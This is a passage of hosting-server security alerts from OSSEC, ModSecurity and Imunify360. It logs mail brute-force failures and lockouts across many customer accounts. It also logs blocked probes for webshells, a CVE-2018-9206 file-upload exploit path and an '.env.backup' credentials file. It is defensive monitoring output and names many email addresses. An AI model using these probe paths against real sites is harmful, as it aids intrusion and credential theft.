Jan 30 12:20:04 sv3 auth[2598542]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account janice@smartcable.com.my has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 115.133.147.159
country_id: 1733045
description:
[2026-01-30 12:20:56 +0800] info [webmaild] 115.133.147.159 - jle@ajplantations.com.my "POST /cpsess2575592407/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 12:20:06 dovecot_login authenticator failed for H=(DdeVrqLKy) [185.230.124.69]:57002: 535 Incorrect authentication data (set_id=janice@smartcable.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.129.199
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/img/photos/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/faq.php||SC:/home/sutsbcom/public_html/img||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 12:21:22 dovecot_login authenticator failed for H=(13zJfpUh) [185.230.124.69]:60140: 535 Incorrect authentication data (set_id=jayabalan.vcp@vc-b.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 12:21:44 sv3 auth[2598542]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account jayabalan.vcp@vc-b.com.my has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 12:21:46 dovecot_login authenticator failed for H=(0GxbjwAf) [185.230.124.69]:64512: 535 Incorrect authentication data (set_id=jayabalan.vcp@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.197.57.79
country_id: 1733045
description:
2026-01-30 12:21:52 dovecot_login authenticator failed for H=(ipay.manforce.com.my) [103.197.57.79]:54232: 535 Incorrect authentication data (set_id=notification@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 12:22:07 dovecot_login authenticator failed for H=(CxhqBB55Q) [185.230.124.69]:64222: 535 Incorrect authentication data (set_id=jayabalan.vcp@vc-b.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 12:22:05 sv3 auth[2598542]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account jayabalan.vcp@vc-b.com.my has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.93.6.230
country_id: 1814991
description:
2026-01-30 12:23:43 dovecot_login authenticator failed for H=([211.93.6.230]) [211.93.6.230]:62784: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.113.254.26
country_id: 1814991
description:
2026-01-30 12:23:06 dovecot_login authenticator failed for H=([116.113.254.26]) [116.113.254.26]:38592: 535 Incorrect authentication data (set_id=support@essemgroup.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 12:23:11 sv3 auth[2598542]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account jayabalan.vcp@vc-b.com.my has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 12:23:13 dovecot_login authenticator failed for H=(tGJIH67) [185.230.124.69]:61228: 535 Incorrect authentication data (set_id=jayabalan.vcp@vc-b.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 12:24:14 sv3 auth[2598542]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account jayabalan.vcp@vc-b.com.my has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 12:24:16 dovecot_login authenticator failed for H=(Z4znoE) [185.230.124.69]:49938: 535 Incorrect authentication data (set_id=jayabalan.vcp@vc-b.com.my)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.150.192.143
country_id: 2510769
description:
2026-01-30 12:24:39 H=(localhost.localdomain) [45.150.192.143]:34078 F=<info@kapkenya.org> temporarily rejected RCPT <inquiries@ktlog.com.my>: Could not complete sender verify


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - admin@indfinitydesign.com [01/30/2026:04:25:04 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: admin@indfinitydesign.com


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 203.106.96.63
country_id: 1733045
description:
[2026-01-30 12:25:12 +0800] info [webmaild] 203.106.96.63 - infolab@sutsb.com.my "GET /cpsess7988926389/3rdparty/roundcube/?_task=logout&_token=dkzr09TQxF8Sbgk70NEuFCoVO50fjOlx HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 12:25:19 sv3 auth[2598542]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account jayabalan.vcp@vc-b.com.my has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 12:25:21 dovecot_login authenticator failed for H=(1iOvxd7t) [185.230.124.69]:56645: 535 Incorrect authentication data (set_id=jayabalan.vcp@vc-b.com.my)


plugin: modsec
rule: 77142199
name: IM360 WAF: jQuery-File-Upload - Arbitrary File Upload (CVE-2018-9206)
abuser: 87.121.84.115
country_id: 6252001
domain: www.inter-link.edu.my
description:
IM360 WAF: jQuery-File-Upload - Arbitrary File Upload (CVE-2018-9206)||RSV:7.69||T:APACHE||MVN:REQUEST_URI||MV:/assets/jquery-file-upload/server/php/index.php?file=tf2rghf.jpg||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.227.228.131
country_id: 1835841
description:
2026-01-30 12:25:39 dovecot_login authenticator failed for H=([1.227.228.131]) [1.227.228.131]:33424: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 12:25:02 dovecot_login authenticator failed for H=(2a3uRRzGv) [185.230.124.69]:50258: 535 Incorrect authentication data (set_id=joshuaooi@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 12:26:05 dovecot_login authenticator failed for H=(QKKa37O) [185.230.124.69]:63270: 535 Incorrect authentication data (set_id=jayabalan.vcp@vc-b.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 12:26:03 sv3 auth[2598542]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account jayabalan.vcp@vc-b.com.my has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.113.254.26
country_id: 1814991
description:
2026-01-30 12:26:08 dovecot_login authenticator failed for H=([116.113.254.26]) [116.113.254.26]:40316: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.197.57.79
country_id: 1733045
description:
2026-01-30 12:26:21 dovecot_login authenticator failed for H=(ipay.manforce.com.my) [103.197.57.79]:56128: 535 Incorrect authentication data (set_id=notification@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.229.99
country_id: 1269750
description:
2026-01-30 12:26:27 dovecot_login authenticator failed for H=(nsg-corporate-99.229.187.122.airtel.in) [122.187.229.99]:52949: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 12:27:08 dovecot_login authenticator failed for H=(B6Y5F6) [185.230.124.69]:51277: 535 Incorrect authentication data (set_id=jayabalan.vcp@vc-b.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 12:27:17 sv3 auth[2598542]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account joshuaooi@ms-chemicals.net has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.41
country_id: 690791
description:
2026-01-30 12:27:25 H=([45.144.212.41]) [45.144.212.41]:62356 F=<ash.zhang@ugslogistics.com> rejected RCPT <cklee@ktlog.com.my>: SPF: 45.144.212.41 is not allowed to send mail from ugslogistics.com


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 12:27:40 dovecot_login authenticator failed for H=(ZIeJCxC) [185.230.124.69]:55215: 535 Incorrect authentication data (set_id=joshuaooi@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.183.83.136
country_id: 1269750
description:
2026-01-30 12:28:13 dovecot_login authenticator failed for H=(static.bb.alp.117.216.47.84.bsnl.in) [103.183.83.136]:11270: 535 Incorrect authentication data (set_id=ysl)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 12:28:02 dovecot_login authenticator failed for H=(dbqGvcz) [185.230.124.69]:64137: 535 Incorrect authentication data (set_id=joshuaooi@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.185.187.30
country_id: 1269750
description:
2026-01-30 12:28:04 dovecot_login authenticator failed for H=(nsg-corporate-81.166.185.122.airtel.in) [122.185.187.30]:57360: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-30 12:28:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:56581: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 12:28:21 sv3 auth[2598542]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account joshuaooi@ms-chemicals.net has been locked for the attacker IP 185.230.124.69


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.222.191.120
country_id: 6252001
domain: cofreth.com.my
description:
IM360 WAF: Bad file extension||RSV:7.69||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.backup||User:cofrethcom||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.132.238.43
country_id: 6252001
description:
2026-01-30 12:29:04 dovecot_login authenticator failed for H=c-76-132-238-43.hsd1.ca.comcast.net [76.132.238.43]:33148: 535 Incorrect authentication data (set_id=info@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.179.93.147
country_id: 1835841
description:
2026-01-30 12:29:18 dovecot_login authenticator failed for H=([121.179.93.147]) [121.179.93.147]:36850: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.255.148.255
country_id: 1562822
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=899701 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 12:29:16 dovecot_login authenticator failed for H=(OVkJAl1JC) [185.230.124.69]:55556: 535 Incorrect authentication data (set_id=jayabalan.vcp@vc-b.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 12:29:18 sv3 auth[2598542]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account joshuaooi@ms-chemicals.net has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 12:30:21 dovecot_login authenticator failed for H=(r8RPA8) [185.230.124.69]:56576: 535 Incorrect authentication data (set_id=jayabalan.vcp@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 12:30:03 dovecot_login authenticator failed for H=(iCaGoy) [185.230.124.69]:56326: 535 Incorrect authentication data (set_id=joshuaooi@ms-chemicals.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 12:30:19 sv3 auth[2598542]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account jayabalan.vcp@vc-b.com.my has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 34.130.146.31
country_id: 6251999
description:
2026-01-30 12:30:52 dovecot_login authenticator failed for H=31.146.130.34.bc.googleusercontent.com (10.188.0.2) [34.130.146.31]:54044: 535 Incorrect authentication data (set_id=takao-nakashima@mckd.com.my)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.138.92.176
country_id: 1733045
description:
[2026-01-30 12:30:20 +0800] info [webmaild] 175.138.92.176 - admin@saps.com.my "GET /cpsess7122783348/3rdparty/roundcube/?_task=mail&_mbox=INBOX.Sent HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 12:31:02 sv3 auth[2598542]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account jayabalan.vcp@vc-b.com.my has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 12:31:04 dovecot_login authenticator failed for H=(Gap8GW95oH) [185.230.124.69]:58220: 535 Incorrect authentication data (set_id=jayabalan.vcp@vc-b.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.136.174
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/services/survey-meter/images/sliders/radiation.php||SC:/home/sutsbcom/public_html/services||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 174.169.224.27
country_id: 6252001
description:
2026-01-30 12:31:31 dovecot_plain authenticator failed for H=c-174-169-224-27.hsd1.vt.comcast.net (derevold) [174.169.224.27]:54260: 535 Incorrect authentication data (set_id=seanlee@eminent.st)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 139.162.70.53
country_id: 1861060
description:
2026-01-30 12:31:15 968845 [Warning] Aborted connection 968845 to db: 'unconnected' user: 'unauthenticated' host: '139.162.70.53' (This connection closed normally without authentication)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.138.92.176
country_id: 1733045
description:
[2026-01-30 12:31:27 +0800] info [webmaild] 175.138.92.176 - admin@saps.com.my "POST /cpsess7122783348/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 9703
name: Dovecot is Starting Up.
description:
Jan 30 12:32:56 sv3 dovecot[2781601]: master: Dovecot v2.4.2 (0962ed2104) starting up for lmtp, imap, pop3, sieve


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 12:32:54 dovecot_login authenticator failed for H=(SLXhjlI) [185.230.124.69]:64088: 435 Unable to authenticate at present: authentication socket read error or premature eof


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 12:32:05 sv3 auth[2598542]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account jayabalan.vcp@vc-b.com.my has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 12:32:07 dovecot_login authenticator failed for H=(4lX1usb) [185.230.124.69]:56292: 535 Incorrect authentication data (set_id=jayabalan.vcp@vc-b.com.my)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.138.92.176
country_id: 1733045
description:
[2026-01-30 12:32:27 +0800] info [webmaild] 175.138.92.176 - admin@saps.com.my "POST /cpsess7122783348/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.16.7.82
country_id: 6252001
description:
2026-01-30 12:33:12 dovecot_plain authenticator failed for H=c-76-16-7-82.hsd1.il.comcast.net (somenes) [76.16.7.82]:56455: 535 Incorrect authentication data (set_id=khairul_aa@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.234.73
country_id: 1269750
description:
2026-01-30 12:33:20 dovecot_login authenticator failed for H=(nsg-corporate-73.234.187.122.airtel.in) [122.187.234.73]:41107: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.118.110
country_id: 1733045
description:
2026-01-30 12:33:04 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.118.110]:47281: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 191.96.255.142
country_id: 6252001
description:
2026-01-30 12:33:19 dovecot_login authenticator failed for H=(ADMIN) [191.96.255.142]:8166: 535 Incorrect authentication data (set_id=jaya@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.168.12.14
country_id: 2017370
description:
2026-01-30 12:33:26 dovecot_login authenticator failed for H=(14.12.168.188.retail.ttk.ru) [188.168.12.14]:49980: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.16.201.52
country_id: 1814991
description:
2026-01-30 12:33:33 dovecot_login authenticator failed for H=([58.16.201.52]) [58.16.201.52]:40458: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 12:33:01 dovecot_login authenticator failed for H=(KwJLzj1m0c) [185.230.124.69]:52788: 535 Incorrect authentication data (set_id=joshuaooi@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 12:34:10 dovecot_login authenticator failed for H=(pUVtPRZQI) [185.230.124.69]:61193: 535 Incorrect authentication data (set_id=joshuaooi@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2026-01-30 12:34:55 dovecot_login authenticator failed for H=54.126.103.87.rev.vodafone.pt [87.103.126.54]:48559: 535 Incorrect authentication data (set_id=admin@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.170.218.142
country_id: 1835841
description:
2026-01-30 12:34:59 dovecot_login authenticator failed for H=([121.170.218.142]) [121.170.218.142]:50432: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.118.110
country_id: 1733045
description:
2026-01-30 12:35:04 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.118.110]:15637: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.233.182.39
country_id: 1835841
description:
2026-01-30 12:35:08 dovecot_login authenticator failed for H=([218.233.182.39]) [218.233.182.39]:5644: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 12:35:15 dovecot_login authenticator failed for H=(bJkcUgr7) [185.230.124.69]:54117: 535 Incorrect authentication data (set_id=joshuaooi@ms-chemicals.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 12:35:35 sv3 auth[2781650]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account joshuaooi@ms-chemicals.net has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 12:36:19 sv3 auth[2781650]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account joshuaooi@ms-chemicals.net has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.141.143.58
country_id: 1835841
description:
2026-01-30 12:36:24 dovecot_login authenticator failed for H=([115.141.143.58]) [115.141.143.58]:44448: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.98.68.199
country_id: 1835841
description:
2026-01-30 12:36:02 dovecot_login authenticator failed for H=([183.98.68.199]) [183.98.68.199]:59235: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 12:36:21 dovecot_login authenticator failed for H=(6BkHwBX2aw) [185.230.124.69]:65053: 535 Incorrect authentication data (set_id=joshuaooi@ms-chemicals.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 12:37:04 sv3 auth[2781650]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account joshuaooi@ms-chemicals.net has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 12:37:06 dovecot_login authenticator failed for H=(GkS09w2VLR) [185.230.124.69]:57593: 535 Incorrect authentication data (set_id=joshuaooi@ms-chemicals.net)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 12:37:29 dovecot_login authenticator failed for H=(rFJfip) [185.230.124.69]:56839: 535 Incorrect authentication data (set_id=joshuaooi@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-30 12:37:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:53670: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.201.138
country_id: 1269750
description:
2026-01-30 12:38:18 dovecot_login authenticator failed for H=([125.19.174.244]) [128.185.201.138]:35260: 535 Incorrect authentication data (set_id=amir@essemgroup.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.226.221.76
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=77051514881482 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 164.164.117.23
country_id: 1269750
description:
2026-01-30 12:39:19 dovecot_login authenticator failed for H=([164.164.117.23]) [164.164.117.23]:57538: 535 Incorrect authentication data (set_id=info@essemgroup.net)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.138.92.176
country_id: 1733045
description:
[2026-01-30 12:39:27 +0800] info [webmaild] 175.138.92.176 - admin@saps.com.my "POST /cpsess7122783348/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2026-01-30 12:40:31 dovecot_login authenticator failed for H=54.126.103.87.rev.vodafone.pt [87.103.126.54]:2831: 535 Incorrect authentication data (set_id=info@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.73.190.98
country_id: 1835841
description:
2026-01-30 12:40:35 dovecot_login authenticator failed for H=([61.73.190.98]) [61.73.190.98]:37966: 535 Incorrect authentication data (set_id=support@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.186.174.35
country_id: 1269750
description:
2026-01-30 12:40:04 dovecot_login authenticator failed for H=(nsg-corporate-35.174.186.122.airtel.in) [122.186.174.35]:46270: 535 Incorrect authentication data (set_id=info@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.234.73
country_id: 1269750
description:
2026-01-30 12:40:26 dovecot_login authenticator failed for H=(nsg-corporate-73.234.187.122.airtel.in) [122.187.234.73]:58487: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 9703
name: Dovecot is Starting Up.
description:
Jan 30 12:41:59 sv3 dovecot[2797978]: master: Dovecot v2.4.2 (0962ed2104) starting up for lmtp, imap, pop3, sieve


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.136.195.32
country_id: 1814991
description:
2026-01-30 12:41:46 dovecot_login authenticator failed for H=(32.195.136.122.adsl-pool.jlccptt.net.cn) [122.136.195.32]:53246: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.220.3.101
country_id: 226074
description:
2026-01-30 12:41:10 dovecot_login authenticator failed for H=([41.220.3.113]) [41.220.3.101]:61078: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.29.139.168
country_id: 2750405
description:
2026-01-30 12:41:11 dovecot_plain authenticator failed for H=(DESKTOP-22EVPBQ) [193.29.139.168]:5436: 535 Incorrect authentication data (set_id=chew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.101.241.44
country_id: 1835841
description:
2026-01-30 12:41:56 dovecot_login authenticator failed for H=([222.101.241.44]) [222.101.241.44]:45398: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - azlin@indfinitydesign.com [01/30/2026:04:42:26 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: azlin@indfinitydesign.com


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.56
country_id: 2542007
description:
2026-01-30 12:42:34 dovecot_login authenticator failed for H=([102.53.15.56]) [102.53.15.56]:37802: 535 Incorrect authentication data (set_id=support@ocned.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.210.132.14
country_id: 1269750
description:
[2026-01-30 12:42:37 +0800] info [cpaneld] 103.210.132.14 - dscexpat "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.228.113.27
country_id: 1835841
description:
2026-01-30 12:42:12 dovecot_login authenticator failed for H=([211.228.113.27]) [211.228.113.27]:39723: 535 Incorrect authentication data (set_id=admin@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.78.67.22
country_id: 1269750
description:
2026-01-30 12:43:20 dovecot_login authenticator failed for H=(nsg-corporate-246.50.185.122.airtel.in) [182.78.67.22]:55338: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 109.72.235.193
country_id: 2017370
description:
2026-01-30 12:43:46 dovecot_login authenticator failed for H=(4c5e0c0de7c6.mldns.ru) [109.72.235.193]:56040: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.130.200.86
country_id: 1814991
description:
2026-01-30 12:43:04 dovecot_login authenticator failed for H=([220.189.239.206]) [61.130.200.86]:57800: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.197.57.79
country_id: 1733045
description:
2026-01-30 12:43:26 dovecot_login authenticator failed for H=(ipay.manforce.com.my) [103.197.57.79]:49900: 535 Incorrect authentication data (set_id=notification@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.18
country_id: 2542007
description:
2026-01-30 12:44:46 dovecot_login authenticator failed for H=([102.53.15.18]) [102.53.15.18]:41769: 535 Incorrect authentication data (set_id=admin@manforce.net)


plugin: ossec
rule: 13008
